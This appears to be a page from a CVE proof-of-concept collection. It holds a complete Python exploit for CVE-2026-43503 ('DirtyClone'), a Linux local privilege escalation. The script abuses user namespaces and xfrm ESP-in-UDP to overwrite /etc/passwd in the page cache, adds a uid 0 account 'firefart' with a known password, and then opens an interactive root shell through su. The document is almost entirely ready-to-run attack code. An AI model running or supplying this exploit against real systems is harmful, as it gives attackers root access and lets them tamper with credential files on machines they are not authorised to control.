5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-43503.py PY
#!/usr/bin/env python3
import os
import sys
import socket
import struct
import subprocess
import ctypes
import time
import pty
import select

KEY = bytes(range(16))
SPI = 0x1000
PORT = 4500
PASSWD = "/etc/passwd"
ACCOUNT = "firefart"
PASSWORD = "pwned"
HASH = "$6$dcl0salt$8CQdeTvAZwavck5YAsQNIoBP.Vj3UvKNyjPXvuuhjnaksDbye8yGY6.1AaxTkNk1APd6e.hYT8yQ9wEzcOJmN0"

CLONE_NEWUSER = 0x10000000
CLONE_NEWNET = 0x40000000
SOL_UDP = 17
UDP_CORK = 1
UDP_ENCAP = 100
UDP_ENCAP_ESPINUDP = 2

crypto = ctypes.CDLL("libcrypto.so.3")


class AES_KEY(ctypes.Structure):
    _fields_ = [("rd_key", ctypes.c_uint * 60), ("rounds", ctypes.c_int)]


crypto.AES_set_decrypt_key.argtypes = [ctypes.c_char_p, ctypes.c_int, ctypes.POINTER(AES_KEY)]
crypto.AES_decrypt.argtypes = [ctypes.c_char_p, ctypes.c_char_p, ctypes.POINTER(AES_KEY)]

libc = ctypes.CDLL("libc.so.6", use_errno=True)


def aes_decrypt_block(block):
    key = AES_KEY()
    crypto.AES_set_decrypt_key(KEY, 128, ctypes.byref(key))
    out = ctypes.create_string_buffer(16)
    crypto.AES_decrypt(block, out, ctypes.byref(key))
    return out.raw[:16]


def unshare(flags):
    if libc.unshare(flags) != 0:
        err = ctypes.get_errno()
        raise OSError(err, os.strerror(err))


def enter_namespace():
    uid, gid = os.getuid(), os.getgid()
    unshare(CLONE_NEWUSER | CLONE_NEWNET)
    open("/proc/self/setgroups", "w").write("deny")
    open("/proc/self/uid_map", "w").write("0 %d 1" % uid)
    open("/proc/self/gid_map", "w").write("0 %d 1" % gid)


def shell(cmd):
    res = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    if res.returncode != 0:
        raise RuntimeError("%s\n%s" % (cmd, res.stdout.decode()))


def configure_xfrm():
    key = KEY.hex()
    shell("ip link set lo up")
    shell("ip xfrm state add src 127.0.0.1 dst 127.0.0.1 proto esp spi %d reqid 1 "
          "mode transport enc 'cbc(aes)' 0x%s auth 'digest_null' '' "
          "encap espinudp %d %d 0.0.0.0" % (SPI, key, PORT, PORT))
    shell("ip xfrm policy add src 127.0.0.1 dst 127.0.0.1 dir in "
          "tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport")
    shell("iptables -t mangle -A OUTPUT -p udp --dport %d -j TEE --gateway 127.0.0.2" % PORT)


def write_block(fd, offset, iv):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(SOL_UDP, UDP_CORK, 1)
    sock.connect(("127.0.0.1", PORT))
    sock.send(struct.pack(">II", SPI, 1) + iv, socket.MSG_MORE)
    os.sendfile(sock.fileno(), fd, offset, 16)
    sock.setsockopt(SOL_UDP, UDP_CORK, 0)
    sock.send(b"")
    sock.close()
    time.sleep(0.06)


def build_payload():
    data = open(PASSWD, "rb").read()
    root_line = data[:data.index(b"\n") + 1]
    entry = ("%s:%s:0:0:pwned:/root:/bin/bash\n" % (ACCOUNT, HASH)).encode()
    prefix = root_line + entry
    block_count = (len(prefix) + 15) // 16 + 1
    size = block_count * 16
    target = prefix + b"#" * (size - len(prefix))
    original = data[:size]
    ivs = []
    for i in range(block_count):
        c0 = original[i * 16:i * 16 + 16]
        t0 = target[i * 16:i * 16 + 16]
        decrypted = aes_decrypt_block(c0)
        ivs.append(bytes(a ^ b for a, b in zip(decrypted, t0)))
    return block_count, ivs


def run_exploit():
    block_count, ivs = build_payload()
    pid = os.fork()
    if pid == 0:
        try:
            enter_namespace()
            configure_xfrm()
            encap = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            encap.bind(("0.0.0.0", PORT))
            encap.setsockopt(SOL_UDP, UDP_ENCAP, UDP_ENCAP_ESPINUDP)
            fd = os.open(PASSWD, os.O_RDONLY)
            open(PASSWD, "rb").read()
            for i in range(block_count):
                write_block(fd, i * 16, ivs[i])
            time.sleep(0.4)
        except Exception as exc:
            sys.stderr.write("%r\n" % exc)
            os._exit(1)
        os._exit(0)
    os.waitpid(pid, 0)


def account_present():
    import pwd
    try:
        pwd.getpwnam(ACCOUNT)
        return True
    except KeyError:
        return False


def su_command(command):
    pid, fd = pty.fork()
    if pid == 0:
        os.execvp("su", ["su", ACCOUNT, "-c", command])
        os._exit(127)
    time.sleep(0.8)
    os.write(fd, (PASSWORD + "\n").encode())
    output = b""
    while True:
        try:
            chunk = os.read(fd, 4096)
        except OSError:
            break
        if not chunk:
            break
        output += chunk
    os.waitpid(pid, 0)
    return output


def interactive_shell():
    pid, fd = pty.fork()
    if pid == 0:
        os.execvp("su", ["su", ACCOUNT, "-c", "exec /bin/bash"])
        os._exit(127)
    time.sleep(0.8)
    os.write(fd, (PASSWORD + "\n").encode())
    while True:
        try:
            ready, _, _ = select.select([fd, sys.stdin], [], [], 30)
        except (OSError, ValueError):
            break
        if not ready:
            break
        if fd in ready:
            try:
                chunk = os.read(fd, 4096)
            except OSError:
                break
            if not chunk:
                break
            os.write(sys.stdout.fileno(), chunk)
        if sys.stdin in ready:
            try:
                chunk = os.read(sys.stdin.fileno(), 4096)
            except OSError:
                break
            if not chunk:
                break
            os.write(fd, chunk)


def main():
    print("[*] CVE-2026-43503 (DirtyClone) local privilege escalation")
    print("[*] uid=%d -> root" % os.getuid())
    run_exploit()
    if not account_present():
        print("[-] failed: target not vulnerable or unprivileged user namespaces restricted")
        return 1
    print("[+] injected uid 0 account '%s' (password: %s)" % (ACCOUNT, PASSWORD))
    proof = su_command("id")
    sys.stdout.write(proof.decode(errors="replace"))
    if b"uid=0" not in proof:
        return 1
    print("[+] root achieved")
    if sys.stdin.isatty():
        interactive_shell()
    return 0


if __name__ == "__main__":
    sys.exit(main())